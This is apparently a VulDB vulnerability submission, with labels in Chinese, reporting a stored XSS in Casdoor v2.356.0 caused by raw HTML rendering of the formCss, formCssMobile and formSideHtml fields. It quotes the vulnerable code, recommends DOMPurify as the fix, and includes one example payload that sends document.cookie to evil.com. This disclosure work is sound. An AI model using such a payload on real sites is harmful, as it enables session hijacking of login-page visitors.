| 标题 | Casdoor v2.356.0 Cross Site Scripting |
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| 描述 | Stored XSS via Application formCss / formSideHtml
**Evidence:**
```javascript
{inIframe() || isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCss}} />}
{inIframe() || !isMobile() ? null : <div dangerouslySetInnerHTML={{__html: application.formCssMobile}} />}
<div dangerouslySetInnerHTML={{__html: application.formSideHtml}} />
```
The `formCss`, `formCssMobile`, and `formSideHtml` fields from the application object are rendered as raw HTML using `dangerouslySetInnerHTML`. If an organization admin (or anyone who can modify application settings) injects malicious JavaScript into these fields, it executes for every user who visits the login page.
**Attack scenario:** An org admin sets `formSideHtml` to `<img src=x onerror="fetch('https://evil.com/steal?t='+document.cookie)">`. Every user visiting the login page has their session cookies exfiltrated.
**Fix:** Sanitize these fields with a library like DOMPurify before rendering, or restrict them to a CSS-only subset by parsing and validating the content server-side.
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| 用户 | Ghufran Khan (UID 95493) |
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| 提交 | 2026-03-17 14時25分 (7 月前) |
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| 管理 | 2026-04-03 09時26分 (17 days later) |
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| 状态 | 已接受 |
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| VulDB条目 | 355072 [Casdoor 2.356.0 dangerouslySetInnerHTML formCss/formCssMobile/formSideHtml 跨网站脚本] |
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| 积分 | 17 |
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